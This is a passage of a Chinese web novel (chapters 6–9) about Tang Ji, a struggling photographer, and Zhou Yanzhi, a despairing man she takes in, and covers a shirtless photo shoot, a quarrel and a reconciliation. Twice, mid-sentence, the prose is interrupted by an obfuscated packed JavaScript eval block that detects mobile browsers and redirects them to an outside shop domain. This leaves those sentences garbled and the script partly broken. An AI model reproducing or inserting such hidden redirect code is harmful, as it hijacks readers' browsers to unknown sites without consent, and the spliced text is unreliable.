突然在这一刻,她觉得自己好疯狂啊! 她竟然在家里收留了一个陌生男人,可是她却不感到害怕,反而意外地安心。 放在床尾斗柜上的小仓鼠又在跑跑轮了,虽然这个跑轮是静音的,但她还是能听得出轴在转动时产生的轻微摩擦声,也能听得见小仓鼠的脚踩在跑轮上发出的“哒哒”声。 这只小仓鼠也是她捡回来的,被人扔在楼下的垃圾桶旁。 她去扔垃圾时,这只小仓鼠就在一个小小的铁丝笼,站起来仰着头看着她。 她同情心泛滥,觉得这小东西好可怜,便把它带回来了。 回来后,她才上网搜怎么养仓鼠,发现这小东西要求还挺高。 网上说, 仓鼠需要很大的空间,笼子越大越好,不然它会抑郁。 仓鼠运动量大,一定要给它跑轮,越大越好,不然它会抑郁。 仓鼠喜欢打洞,要铺垫料,种类要多,越厚越好,不然它会抑郁。 行。 唐霁不知道一只小老鼠是否真的那么容易抑郁,反正她看完后差点抑郁了。 她在能力范围内给它买了一个最低标准的60基笼子。 又看人推荐买进口的仓鼠粮,她一搜,好家伙,差不多100块一斤! 她自己吃的大米都没这么贵,转身买了包30多块一斤的国产粮。 她恪守着仓鼠不喜欢互动的准则,每天就只添水添粮,没什么事的时候就一人一鼠互不打扰的,各自在自己的空间里做自己的事。只是,屋里多了一个小生命,唐霁心里总感觉没那么冷清了。 一天夜里,她刚睡下不久,突然听到门锁拧动的声音。 她惊得从床上坐起,大吼了一声:“谁!我报警啦!” 声音戛然而止。 可是,唐霁也不敢再睡了,她打开小夜灯,抱着膝盖坐在床头。 昼伏夜出的仓鼠爬了出来,开始跑跑轮,一圈又一圈地仿佛不知疲倦。 唐霁就这样坐了一夜,看着小仓鼠也跑了一夜。 一直到天亮,她才放心地睡下,小仓鼠也钻回自己的窝里睡了。 她突然觉得这只小老鼠好像通人性,仿佛是以这种方式在陪着她。 醒过来后,她立即斥巨资给小仓鼠下单了一包进口粮。 她对小老鼠说,这是给你的奖励,但她心里知道,她只是想给它吃好点,活久一点,能陪伴她多一点时间。 这两年,所有难过的时光都是她一个人过来的。 好在,她还有一只小老鼠。 现在,她还有了一个叫阿砚的男人。 如果没有他,今晚应该又是一个不眠之夜。 她、阿砚、小仓鼠各自都在属于自己的空间里,界线分明,互不干扰,却又互相陪伴。 很安心。 她的脸在枕头上轻轻蹭了蹭,很快就睡着了。 7. 第 7 章 “咚咚咚。” 第二天早上,唐霁拉开窗帘,在阳台门上敲了几下。虽然她掌握了开门的权力,但就像是进别人的房间一样,她没有唐突地直接开门,而是看到周砚知的头从帐篷探出来后,她才咧嘴一笑,拧开门锁,“早啊!” 周砚知赶紧爬出帐篷,有些局促地站了起来,应道:“早”。 唐霁出来问道:“我没吵醒你吧?” “没有,我早醒了。” “啊?”唐霁来到洗手台接水洗漱,顺便关心地道,“昨晚没睡好?” 周砚知:“……” 该怎么说呢?睡得好肯定算不上,就算铺了防潮垫和软垫子,但是毕竟是睡在硬梆梆的地板上。而且,很热,风扇根本不够。 但是,因为有了之前两晚睡在楼下的经历,他又觉得睡在这帐篷里已经很舒服了。一顶小小的帐篷就像一个庇护所,收容了无处可去的他,也将他的不堪包裹,不至于赤裸裸地展示人前。 “我睡得挺好的,是我自己习惯早起。” “那就好。” 唐霁洗漱完毕,将杯子牙刷放回架子,将洗漱台让给周砚知,转身拿起一个水壶到天台浇花。 浇花回来,周砚知也洗漱完毕,唐霁问道:“你待会想出去吗?” “要去干什么吗?” “吃早餐,买东西,例如……”她看着周砚知,伸出一只手指,隔空绕着他的唇边画了个圈,那里已经长出了短短的青茬,“剃须刀,还有……” 她转而指着他脚上趿着的一双明显太小的粉红色的拖鞋,说:“拖鞋。” “还有啊,你的毛巾、牙刷全都是一次性,都得买。我也不知道哪些适合你,还是你自己挑更好。” 听着唐霁一点一点地列着口头清单,周砚知有一点很不真实的感觉。他本来想着在这里待几天,确认那个小偷不会再回来他就告辞。可是,现在唐霁却要出去为他添置日用品,让他有一种会在这里安定下来的感觉,光是这么一想就让他感觉到惶恐。他不是嫌弃这里,只是,他不敢相信,害怕只是自己的一厢情愿。 看着他呆呆的样子,唐霁又催促地问了一句:“怎么样?去不去嘛?” “……行。”周砚知最终犹豫地点点头。 但是临出门时,他纠结再三,还是问道:“请问,你有口罩和帽子吗?” “有啊,干嘛?”唐霁一边找出给他,一边问道,“天气那么热,你还要戴口罩帽子?” “嗯。”周砚知将帽子和口罩戴上,轻轻点了点头。唐霁不认识他,但他不能保证其他人也认不出。 唐霁看着他唯一露出的眼睛也隐在帽檐的阴影下,忍俊不禁:“你到底是通缉犯还是明星,要把自己包裹得这么严实。” 周砚知没有回答,只说道:“走吧。” 唐霁跟在他后面追问:“你干嘛不回答我?你该不会真的是通缉犯吧?” …… 周砚知跟着唐霁来到市场的那一刻,很庆幸自己戴上了帽子和口罩。 目之所及的地方挤满了人,摩肩擦踵。 他的眉头忍不住皱了起来。 唐霁扯着他的袖子很快融入了人群中,周砚知有身高优势,半颗头高出人群。但对于此刻的他来说,并不算优势,他只觉得自己很突兀。 于是,他下意识地拉低帽檐,将自己遮挡得更加严实。 他全程都没有看路,只是低头跟着唐霁走。 在唐霁问他意见的时候,他都是匆匆地瞥了一眼就点头,反正这里都没有他平时用的品牌和风格,既然这样,买什么都无所谓。 直到手上拎着的东西越来越多,他才慢慢抬起头。 这一路,好像都没有一个人认得他。 他才意识到,这里是西江南岸,是在他以前生活范围外的地方,本来就没有太多交集。这里的人大多应该是真的不会认识他。 唐霁回到家后,首先从桌上拿过账本,将今天给周砚知买的东西一一进行登记,忍不住惊呼道:“不是吧!你一个早上又花了我200多了!” 周砚知:“……” 他也没什么好说的,只能说道:“放心,我……会尽力还的。” 虽然他也不知道自己有没有机会还。 “那当然得还。不过……”唐霁有些苦恼地看着他,“你又没存款,又没工作,怎么还呀?不能光给我空头支票啊。” 周砚知的心像被颗弹珠直直地撞击了一下,虽不致命,但是心口却隐隐作痛。 他咬了咬牙:“反正我会想办法。” 他暗自下了决心,就算亏欠全世界,他也不能亏欠了唐霁。 因为他是出事以来,唯一一个还对他好的人。 虽然这可能只是因为她还不知道他是谁。他小心地谨慎地惶恐地藏着自己的身份,也是为了守着眼下他拥有的唯一的善意。 “我倒是有个主意。”唐霁狡黠地看着周砚知笑道,“反正最近平台需要大量男性照片,你当我的模特,用你的模特费来还我。至于你的模特费就从售卖的照片里分成,你二我八可以吧。” 周砚知不知道他们的行规是怎样的,也不知道她这个条件合理不合理,但是他想起自己刚才暗自下的决心。 他现在,唯一对她有用的可能就是他的身体。 如果她需要,那他就配合。 他点点头:“行。” 唐霁倏地一下站起来,走到防潮箱拿相机,说,“那事不宜迟,我们开始拍照吧。” “好。”周砚知问道,“你想怎么拍。” “脱衣服!” 周砚知:“……” 唐霁在天台迅速搭起一个临时摄影棚。 周砚知裸着上半身,非常别扭地听从着唐霁的指示摆动作,他的眼神却忐忑地飘忽。 如果有人看见,会不会觉得他变态?虽然他没看见有人在看,但他总觉得现在自己这样跟在大庭广众下裸着没区别,周围都是看热闹的目光。 唐霁叹了口气,把相机放下,无奈地说:“你能不能认真点,不要到处看。” “不是不拍脸吗?” “是不拍脸,但你的身体是一个整体。你注意力不集中,你身上的肌肉看起来也是散的,没精神。” 周砚知低头看了一眼自己的身体,他听不明白肌肉没精神是什么意义。 但他既然答应了唐霁当他的模特,如果连这点都做不好,他在她这里的信用就更扣分了。 “对不起,重新来吧。” 他强迫自己忽略掉假想出来的那些偷窥的目光,专注盯着唐霁的镜头。 这下,唐霁终于满意了,一边按快门一边说道:“很好,很好,就这样!” 差不多一个小时后,唐霁低头查看了今天拍摄的照片,抬头看向正在穿衣服的周砚知说:“你悟性挺高的嘛,指点了你一下就上道了。话说,你身材这么好,要不要考虑去当模特?我有个朋友在画室当老师,他们最近正好需要模特。” 周砚知想都没想就拒绝了:“不要。” 他宁愿饿死也不会去当模特。只是给她一个人拍照已经这么难受了,还要任那么多人的目光落在他身体上,又一笔一画地临摹到纸上,他做不到。 唐霁不解:“为什么不要?你不是没工作吗?” 周砚知很强硬地说道:“反正不要,要我出卖□□,我宁愿去死。” …… 一个小时后,画室。 “真的不能脱全身吗?” 唐霁在画室工作的朋友颇为遗憾地看着周砚知问道,后者没有回答,而是将这份可惜加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372014|199957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上自己的怨气一起扫向唐霁。 他也不知道自己到底中了什么蛊,莫名其妙地跟着唐霁来了画室。 现在还赤.裸着上身站在一群陌生人面前。 “他第一次,害羞。慢慢来嘛。”唐霁赶紧调和道。 “也行吧。今天就先这样。” 唐霁的朋友指导着周砚知,说,“你可以手勾着衣服,搭在背上,这样会比较自然。” 周砚知深吸了一口气,闭上眼睛,强忍着要发飙离场的冲动,按照对方所说的,将手上的衣服往背后一甩。 “对,就是这样。” 接下来老师就跟画室的学生讲解这次练习的一些要点。 周砚知的目光幽怨地看向站在画室最后面的唐霁,她嘴角弯弯地看着他在笑。 他忍不住眯了眯眼,目光更显幽怨。 唐霁假装没看见,在学生开始练习的时候,她也没闲着,拿起画室一个闲着的公共画架,也坐了下来开始画画。 安静的画室很快响起此起彼伏的唰唰声,是画笔落在纸上的摩擦声。 室外,午后的阳光,格外炙热。 室内,空调的温度正合适。隔着玻璃落在窗台上的阳光,像是潜进来想要蹭空调的小猫,懒懒地趴着。 周砚知非常“敬业”地保持着一个姿势不变,就连眼神都没有变过,始终只看向一个方向。那个方向的末端,是坐在教室最后头角落里的唐霁。 阳光的尾巴正好扫在她茶色的头发上,她一侧的头顶像是有一层金色的光晕。几根不听话的头发毛躁地翘起来,像在光下跳跃的精灵。 她嘴角的笑容已经敛去,脸上的表情稍显严肃,偶尔抬眸看向他,又迅速垂下去专注在自己的画纸上。 两个小时的练习结束,老师给他们结了今天的模特费用。她还在和唐霁预约明天的时间,周砚知已经直接从她们身边擦过,自己一个人走出画室。 “阿砚!”唐霁看着他的背影喊了一声,但是对方根本没有停下来的意思。 她赶紧跟朋友说道:“我先走了,时间我们在微信上约。” 说完,她也快步跑了出去,追上前面疾步快走的周砚知。 “阿砚!”她走在左边,低头看着周砚知的脸。 周砚知不理会,将头扭向右边。 唐霁又蹦跶到右边,低下头看着他喊道:“阿~砚~” 两个字被她喊得像是翻滚的浪花。 他终于停下来,看了过去,语气带着明显的愠怒:“怎么?你还想玩什么?” 唐霁神色一顿,还没开口解释,周砚知继续质问: “是不是因为我曾经想过去死,所以你就觉得我没有感受、没有尊严,可以任你玩弄吗?” 不是的。 唐霁脸上笑容敛去,张了张嘴,想要解释却欲言又止。 认识他以来,这是他第一次发怒,她有些不安地问:“你生气啦?” 听到这个问题,周砚知突然冷笑一声,反问道:“对啊,我生气啊,我不应该生气吗?我这个想死的人是不是连生气的资格都没有了?” 唐霁还没来得及回答,周砚知继续冷漠地问道:“你是不是觉得你救过我,帮过我,我就应该像个玩偶一样没有任何情绪,随你摆弄?因为我没钱,因为我欠你钱,你说什么我就要去做什么?” 原来,她和那些人没有什么区别。 他并没有打算等唐霁的回应,说完就戴上了帽子,又掏出口罩把自己半边脸遮住,转身朝着夕阳落下的方向走去。 看着他在地上被拉长的影子,唐霁踟蹰片刻,小跑跟了上去:“回去不是往那边走……” “别跟着我。”周砚知停下,侧过头看过去,“我很感谢你这几天的帮助,但到此为止吧。有机会我会还你的。” 8. 第 8 章 你要去哪? 唐霁张了张嘴,还没来得及将这句话说出口,周砚知就已经回过头,大步向前走去,好像害怕她会跟上去一样。 切。 唐霁努了努嘴,有些愧疚又有些生气地想:走了才好呢,搞得像谁稀罕你一样。 她赌气地转过身往另一个方向走去,走了几步不知道想到什么,猛地转过身,踮起脚伸长脖子四处张望,可是已经不见了周砚知的身影。 不是吧,走那么快。 怎么办,她都还没给他钥匙。 唐霁着急地往周砚知离开的方向又跑了几步,仍不甘心地在原地左右张望,人不多的街道,一眼看尽。 双肩终于无奈地耷下来,她认命地叹了一口气。他们没有彼此的微信、电话,她甚至连他全名都不知道,虽然在同一屋檐下睡了一晚,但基本上就是陌生人。 白海市那么大,人那么多,两个这样的陌生人一旦走散,估计就不会再见了。 恐怕他这次是真的走了。 其实,走了也挺好的,反正他也不可能一直待在她那里。 唐霁深呼吸一口气,强迫自己往好的一面想,至少他会生气了。 前几天,他整个人就跟死了一样。 饿也不说,痛也不哼,被人拿扫把当垃圾一样扫也不生气。 他现在会感到羞耻,会生气,至少证明他起码还有人的感情。 而且他没地方可去,应该就会回家的吧。 唐霁独自回到住的地方,走到楼下时,她提了一路的心终于断弦一样坠了下来。 楼下没有出现她期待的画面,空空如也。 回来的路上,她在每个巷子、路口都留心看了一眼,可是连一个人影都没看到。 认识不认识的都没有。 她失望地上楼,低头准备换鞋子时,却看到和她的拖鞋并排放着的一双深蓝色拖鞋。 是今天早上刚买的。 唐霁弯着腰,身体僵了一秒。 浪费! 买了一次都没穿他就走了。 想起早上还给他买的杂七杂八的各种生活用品,他一样都没用上。 真的好浪费啊! 早知道就不管他了。 她换好鞋,生气地将在天桥底下打包的炒米丝放在桌子上,来到床边,伸出手指在仓鼠笼轻轻敲了敲:“醒醒。” 一颗老鼠头从洞里钻了出来,鼻子朝着唐霁的方向动了动,像在问:“开饭了吗?” 唐霁被逗得一笑,拿起装鼠粮的罐子,舀了一勺放在自己手心,打开笼子门,将掌心放在门口,说:“上来。” 小老鼠屁颠屁颠地从洞里钻出来,熟练地爬到唐霁的手心,抓起她手上的东西,小嘴吧嗒吧嗒地吃起来。 唐霁双手并拢,捧着手心里的小东西,坐在床边。 “还是你好啊。” 只要每天给它吃的,它就会认你的好,每次一打开笼子门就朝你奔赴而来。 不像有些人…… 其实她不是故意戏弄阿砚的,只是她太清楚他此刻的心情了。 因为他在经历的,她也经历过。 那时候的她,一个人躺在公寓里什么都不想做,感受着自己的身体像一颗正在腐烂的苹果一点点地被啃噬。 那晚,她吃过外卖后,将屯了三四天的垃圾一起拿下楼去扔时,在垃圾桶旁看到了这只小仓鼠。它待在一个小小的笼子里,踮起后脚站起来,两颗圆滚滚黑溜溜的眼睛直直地看着她。 唐霁看到笼子上夹着一张纸,她把垃圾扔进垃圾桶,蹲下身子去看,上面写着:求好心人收养。 “原来你被抛弃啦?” 小仓鼠不知道听懂了没有,鼻子动了动,转身跑到笼子里那个小跑轮上快速了跑了几圈,又跳下来,像刚才那样踮起后脚眼巴巴地看着唐霁,似乎在说:“你看,我会跑跑轮,你把我带回家吧。” 唐霁垂下眼眸:“可是,我连自己都照顾不好,你还是等一个更好的主人吧。” 说完,她站起来就要走。 “轰隆”一声,一道闪电划破天际,她隐约闻到了雨水的味道。 “要下雨了?”唐霁抬头看向沉闷的夜空,又扭头看向垃圾桶旁的那个小笼子,沉默了几秒,最终叹了叹气,转身走了回去,提起小笼子一起上了楼。 原本她以为一只小老鼠不用费什么心力,但没想到从她转身回去的那一刻起,事情就开始一发不可收拾。她查阅了很多资料,学习怎么养仓鼠,跟着教程一件件地买笼子买木屑买尿沙买鼠粮,还要定期铲尿沙换木屑添粮换水。 她可以接受自己一个人腐烂,但是想到她还有一只小生命要照顾,她好像就有了理由让自己动起来。因为照顾这只小老鼠,她也就顺便把自己照顾好了。 其实自己一个人生活也没什么难的。 只要每天按时吃饭、上班、睡觉,有具体的事情做,有能养活自己的办法,生活就能运转起来。 她也是想让阿砚尽快振作起来,但…… 是不是太急进了些,还是这个方法不适合阿砚呢? 她抬起头,双眼看向天台,帐篷还在那里,像块巨石一样堵在胸口。 唐霁将仓鼠放回笼子,剩下的粮倒在它的碗里,说:“你自己吃吧。” 她站起来,打开天台门,准备把帐篷收起来。 刚弯腰准备把里面的东西拿出来时,却看到里面的垫子铺得很平整,被子也叠得整整齐齐的,像在耐心地等待主人回归。 算了,唐霁叹了口气,今晚太累了,明天再收拾吧。 刚转过身,她又看到在墙角的一个袋子。 那是周砚知昨天换下的西服。 她记得当时问过他,说这衣服不能用洗衣机洗,要不要给他送去干洗。 周砚知却直接说:“扔了吧。” “扔了?!”唐霁惊讶地看着手中的衣服,说,“这衣服不是很贵吗?” 周砚知却垂着头,沉默了很久,久到唐霁以为他不会回答时,却听到他低声说了一句:“反正以后也不会再穿了。” 唐霁将衣服塞回袋子里,有些生气地往地上一扔。 烦死了。 他倒是潇洒,说走就走,留下一堆烂摊子让她收拾。 …… 第二天,唐霁上班时将那个装着西服的袋子拎了出去,但是却没有扔到垃圾桶。她记得她上班的地方附近有一家西装定制店,她来到的时候,店也刚好开门。 “老板,你能帮我看看这件西装还能修补吗?” 老板是一个看上去40多岁的中年男人,他推了推鼻梁上的眼睛,伸手说:“拿来我看看。” 唐霁将袋子递了过去,老板刚将西服拿出,眉头立马嫌弃地拧了起来,上半身往后仰了几度,拿着衣服的手伸得远远的。 这衣服破损程度他还没检查,但是污渍斑斑,整件衣服都是灰尘。 他藏在镜片后的双眼质疑地扫向唐霁:“这衣服,你是捡的吗?” 唐霁:“……” “扔了吧。”老板将衣服塞回袋子,说,“修好都浪费钱。” “为什么?” 唐霁觉得自己应该问了一个傻问题,因为老板有些无语地又抬眸看了她一眼。不知道是不是因为她来得早,店里没什么客人,他没有粗暴地赶她走,反而用手指再次拎起衣服在她面前展开,耐下心跟她唠:“小妹,我都不说起毛起球的问题了,就是它这个版型……结构都已经被破环了。肩部、衣领、下摆都变形、起褶。这里,这一块,你看,黑乎乎的……” 他将西服背面扯到唐霁面前,说:“看着像是渗进纤维里了,有些污渍是无法彻底清洗的。就算清洗了,修复了,光泽度也不如以前的,整件衣服灰扑扑的,暗淡无光。衣服的灵魂都没有了,这个壳洗得再新又有什么用。” 其实道理唐霁都懂,但她就是想争取下。 “可是衣服的灵魂不应该是人嘛。老板,我也不是要求你修复得跟以前一模一样,就是能做到什么程度就什么程度好了。” 老板瘪着嘴,挤在一起的眉头在无语中又渗进一些不耐烦。 唐霁担心老板再拒绝,赶紧在他开口前,双手合十,可怜巴巴地看着他说:“拜托了老板,这衣服对我朋友很重要。” 老板一腔拒绝的话就这样被堵在喉咙。 “好吧好吧,我就试试,你别抱太大期望。” “好好好,谢谢老板。” 虽然接下了这个活,但是老板还是忍不住怼上几句:“真的这么重要,当初就应该好好爱护。你看,都被折腾成什么样子,当抹布啊!” 唐霁嬉皮笑脸的,心里想着说差不多吧,嘴上乖巧地应道:“行,我回去说他。” 说是这么说,但一转身,唐霁就有些失落地想,她说不了他了。 她很难说得清楚自己为什么要拿这套衣服来清洗和修复。昨天晚上,她看着周砚知留下的这袋衣服,有些生气地想,如果不被他弄得这么脏,挂闲鱼上说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372015|199957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不定还能卖点钱。 然后大脑就顺着这个想法继续往下走,要拿去卖是不是得先洗洗。 可是,这外套被他垫在地上睡了两天,很多地方都起褶起毛起球了,她就想有没有什么地方能修复和清洗一起的呢?她花了些时间在网上找到了一家定制西服的店,刚好就在她上班的地方附近。 直到刚才和老板争取的过程中,唐霁突然找到自己这个举动的意义。 老板说这套衣服的灵魂没了,可是她觉得衣服的灵魂应该是人。 只要衣服的主人还在,灵魂就在。 如果哪一天这个灵魂想要找回这个躯壳,却发现已经被扔了,那他不就要当孤魂野鬼了吗? 虽然她不确定周砚知还会不会想要这件衣服,也不确定他还有没机会再穿上,但是她觉得这件事本身是有意义的,所以这一天她的心情都很不错。 时间也过得特别快。 下午,马上到她下班时间了,她正准备去休息室换衣服,不经意透过餐厅的落地窗却看到店门外站着一个人。对方一动不动地站在那里,头上戴着帽子,脸上还戴着一个口罩,唯一没有遮挡的一双眼睛看向店里面,此时正好和她的目光撞在一起。 “阿砚!”唐霁几乎只用了一秒就认出了对方。 意识到自己被发现后,周砚知第一时间就想跑。唐霁已经冲了出来,快步上前,直接拽住了他的一只手臂:“阿砚!” 周砚知不得不停下,但他没有回头。唐霁还什么都没问,他就着急解释:“我只是刚好路过。” 唐霁:“?” 不过,她很快就忽略掉他这句莫名其妙冒出来的话,微微喘着气说:“那真是好巧哦!” 周砚知轻轻扭动手臂,想要挣脱唐霁的束缚:“没什么事的话,我就先走了。” “你要去哪?” 周砚知背对着唐霁,低垂着头,绷着嘴角没说话。 唐霁也没有继续追问,看着他穿着和昨天一模一样的衣服,猜想他肯定没回自己家。 那他还能去哪呢?也只能是和之前那样,换了个地方露宿罢了。 “我下班了,你等我一下可以吗?就一下,我换个衣服就好。” 周砚知微怔,脖子扭动了很小的一个弧度,问道:“等你……干什么?” “回家啊!”唐霁理所当然地应道,仿佛他们昨天并没有发生矛盾,忽然又笑着摇摇头,“不,还是先吃饭!” 这下,周砚知彻底转过头来看着唐霁,她脸上挂着笑,双手紧紧地抓着他的手臂,好像她一松手他就会逃跑一样。 “你先松开。” “不要!” 周砚知轻轻叹了一口气:“你不松开,怎么换衣服。我们要一直站在这里吗?” 唐霁神色稍怔,过了一会才明白过来,但又还是有点不放心:“那你会等我吗?” 周砚知轻轻地点了点头,应道:“嗯。” “拉钩!”唐霁伸出小尾指,“你说中国人不骗中国人!” 周砚知:“……你真的觉得说句话就能保证吗?” 这世上有多少交易,就算签了合同都不能保证没有欺瞒的。 “我不管!”唐霁坚持,“虽然这句话不能提供什么保证,但是如果连这句话都不敢说,就很有问题。” 周砚知有些无奈,伸出尾指勾了上去,却说了另一句话:“我,阿砚,不会骗唐霁,会一直在这里等到她出来为止。” 说完,他将拇指指腹贴在唐霁的拇指上,就像盖章一样。 心口像是被人戳出一个小小的凹坑,唐霁的呼吸一下收紧。她本以为周砚知又会宁死不从,没想到他不仅愿意陪她做这么幼稚的事,而且还自己升级了,就像在一份合同模板上写下他们的协议内容,并签上双方的名字,将一句轻飘飘的,没有任何约束力的保证,变成了一份成为独属于他们的契约。 见唐霁还傻愣着,周砚知将手收回,提醒道:“还不去换衣服?” “哦……”唐霁醒过来,一边往餐厅里走,一边回过头再三提醒道,“你要等我哦!一定!” 周砚知目送着她走进去,眨了眨眼,轻点头,应道:“嗯。” 直到唐霁完全消失在视线中,他再次抬起头,半眯着眼看向头顶的招牌——潮味西餐汇。 刚才他真的是恰巧路过,又凑巧瞥见餐厅里穿着工作制服的唐霁,双脚就好奇地顿在原地里。 她不是个摄影师吗? 为什么会在这种地方上班? 9. 第 9 章 唐霁果然很快就出来了,一边小跑着一边整理衣服,看到周砚知果然还站在原地的时候,才终于放下心来。她快步上前,说道:“我们走吧。” “你好像很不信任我。” “什么?” 周砚知毫不留情地戳穿她:“这么着急,是怕我走了?” 唐霁倏地睁大眼睛,没想到这个人那么不懂人情世故,看破就算了,还要说破。 既然被看穿了,她也就不装了,昂首说道:“是啊,就是不相信你,毕竟你可是有前科的人。” 周砚知的神色一怔,唇角翕动,良久才发出声音:“为什么?” 唐霁不解:“什么为什么?” “你之前不是不想我跟着你吗?” 呃…… 唐霁轻抿双唇,她也回答不上来,于是眼神躲闪,支支吾吾:“之前是之前……但我有责任心!我说过会对你负责,就会负责到底,不会半途而废!” 看着她莫名神气地昂着头说出这番话,周砚知有些诧然,低头轻笑:“我当时,随口说的,你不必放在心上。” 唐霁却摇摇头:“都说言者无心,听者有意。或许你是随口一说,但是我是认真的。我把你从鬼门关拉了回来,是希望你能好好活着。既然开了这个头,我就会负责到底。” 就像她捡的那只小仓鼠,如果她捡回来不是为了好好对它,还是给它吃渣粮住小田园笼子甚至再次抛弃,那就是二次伤害,还不如不捡。 “所以,我管了你,我就会管到底。”唐霁抬手拍了拍周砚知的肩膀,说,“走啦,去吃饭吧!” 两人在商场找了一家面馆。 唐霁拿出手机扫描桌面上的二维码点餐,问道: “你吃什么?” “都行。” “牛腩面?” “可以。” 下单后,唐霁收起手机,一抬起头就撞见对面慌乱逃窜的目光。 “……” 周砚知一双眼睛在店面游荡了一圈后重新落了回来,刚碰到唐霁的视线,对方就像一只桌球被另一只桌球碰撞,立马弹开。 “……” “你是不是有话想说?” “你是不是有话想说?” 两人异口同声地问道,惊诧地同时抬起头看向对方,又默契地笑着摇摇头:“没有没有。” 两颗头默默地垂下去,过了几秒—— “对不起。” “对不起。” 两人惊愕地再次抬起头,这时—— “面好啦!” 服务员端着两碗牛腩面放在桌面上,两人忙忙碌碌地接过牛腩面,又忙忙碌碌地低头吃面。刚才那句“对不起”像幻听一样被两人默契地忽略,只剩轻微的嗦面声音。 “我昨天不该发你脾气。” 唐霁嘴边的面嗦到一半突然听到对面传来含含糊糊的一句话,声音很低,但是她听见了。她顿住了一秒,咬牙将面切断,抬眸看向对面。 只见对面的人还在埋头吃面,很忙的样子,好像刚才的话不是他说的。 “没关系。我也有不对,我应该尊重你的意愿的。” 唐霁说完,再次夹起碗里的面送进嘴里,桌子上又只剩下悉悉簌簌的嗦面声。 “对了,你昨晚在哪里过夜?” “麦当劳。” “嗯?”唐霁有些惊喜地抬起头,半眯起眼睛笑着说,“有长进哦,我还以为你会去睡天桥底呢。” 面对唐霁的戏谑,周砚知没有生气,反而无奈地一笑:“也想过,只是担心那里没位了。” 嗯?唐霁再次惊讶地看着周砚知,他刚才是说了一句笑话?他竟然会说笑话? “那麦当劳的人不赶你啊?” “赶啊,今天早上就赶了。” 唐霁很没同情心地扑哧一笑,很神气地说:“怎么样,离家出走后才发现还是我好吧?” 周砚知脸上的笑容缓缓敛去,良久,他才轻轻点头,应道:“嗯。” 昨天,他在画室门口和唐霁分开后,自己漫无目的地游荡。他不知道自己应该去哪里,或者说他根本没有选择。深夜,他路过一家麦当劳,见里面零星坐着一两个人。他想起麦当劳是24小时营业,曾经也听说有人会在麦当劳通宵过夜,但他从来没试过。 但现在,这里或许是他最好的去处了。他犹豫着上前推开门,立刻听到一声清脆响亮的:“欢迎你来,这边点餐。” 服务员的声音在安静的夜晚特别刺耳,他有一瞬间想要后退的冲动。在门口天人交战了几秒后,他厚着脸皮走了进去,朝服务员不好意思地摇摇头,然后走到角落一张单人桌坐下。 夜晚人少还好,早上店里的人慢慢多了,就有服务员过来旁敲侧击:“先生,请问你点餐吗?可以扫码或者前台点。”他不好意思地摇摇头,也没有这么厚的脸皮继续坐下去了。 从麦当劳离开后,他又陷入迷茫的境地。 他想过去路边的快餐店找份工作先解决温饱再说,但是因为他身上没有身份证,老板就算不担心他来历不明,也不敢非法用工。不过老板还是心软了,在他要走的时候,打包了一份饭送给他。 周砚知看到了自己的境地有多难。他身无分文,身份证也不在身边。就算有,他也不敢告诉别人他的身份,就算他真的想抛弃过去的生活重新开始,好像也根本没有可以开始的路。 这时,他才意识到,自己昨天是多么可笑,他的自尊是多么不值钱。不过是站在那里给别人当模特,他就觉得被羞辱了。但他并没有想着要回去找唐霁,当初之所以会跟着她,只是因为有点不放心,只是因为想知道送她那个挂件的人是谁。 他确实不应该再去打扰她。 只是,他也没想到,他随处乱逛,竟然也能遇到唐霁。 说到这,他也想起了自己好奇的问题:“为什么你会在那里工作?你不是摄影师吗?” “是啊,是摄影师,独立摄影师。” “独立摄影师?” “所谓独立摄影师……”唐霁解释道,“就是有部相机,会点拍照技术,没有正式工作,能接点小活,饿不死自己也赚不到大钱的无业游民。” “所以,在大部分时间,我就要靠别的方式赚钱咯。”她自嘲地一笑,脸上少有地染上落寞的神色。 周砚知的心蓦然被揪住,一时竟不知道说什么。 也不知道是不是打开了话匣子,就算周砚知没有任何回应,唐霁却自顾自地继续说下去:“其实,在遇见你那一天,我在想是不是应该放弃了。” “放弃什么?” “放弃摄影这件事啊。”唐霁突然又没心没肺地笑了。那天下午她在天台看日落,脑海里想了很久很久,“我那天晚上回去都准备卖镜头了。结果镜头还没卖,就遇上小偷了,幸好你帮我抢回来了。” “可是,你喜欢摄影。”周砚知的语气是肯定的,他还记得那天她的相机被偷,她是多么紧张,也记得她给他拍照时那种神采飞扬的样子,“既然这样,为什么不找跟摄影相关的工作?” “找过了呀。我第一份工作就是在杂志社当摄影师,但是我发现这样的工作,自己只是一个操纵相机的工具人,我永远没法拍自己喜欢的照片。”这就是她从《光》辞职的原因,唐霁想了一下,说,“这应该就是,可以和不爱的人将就一生,但是和爱的人不行。” 她可以去餐厅做兼职,用兼职的工资去支撑摄影这件事,但是她不能把摄影这件事只当成是一份谋生的工作。 周砚知不知道她说的爱的人不爱的人什么乱七八糟的,只是问道:“那为什么现在又想要放弃呢?” “因为……”唐霁陷入了沉思,内心的隐痛被勾起,反问道,“你有没有试过,在自己热爱的领域再怎么努力,却还是碌碌无为,平庸无奇?” 从小到大,她喜欢过的东西很多,但只有摄影这件事坚持下来了。她本来以为终于遇到了自己的“真命天子”,但她越是在这条路上走下去,就越看不到出路。无论多么努力,她依然技不如人、被嘲讽、被奚落,不被认可。 周砚知很认真地想了想她这个问题,说道:“没有。” 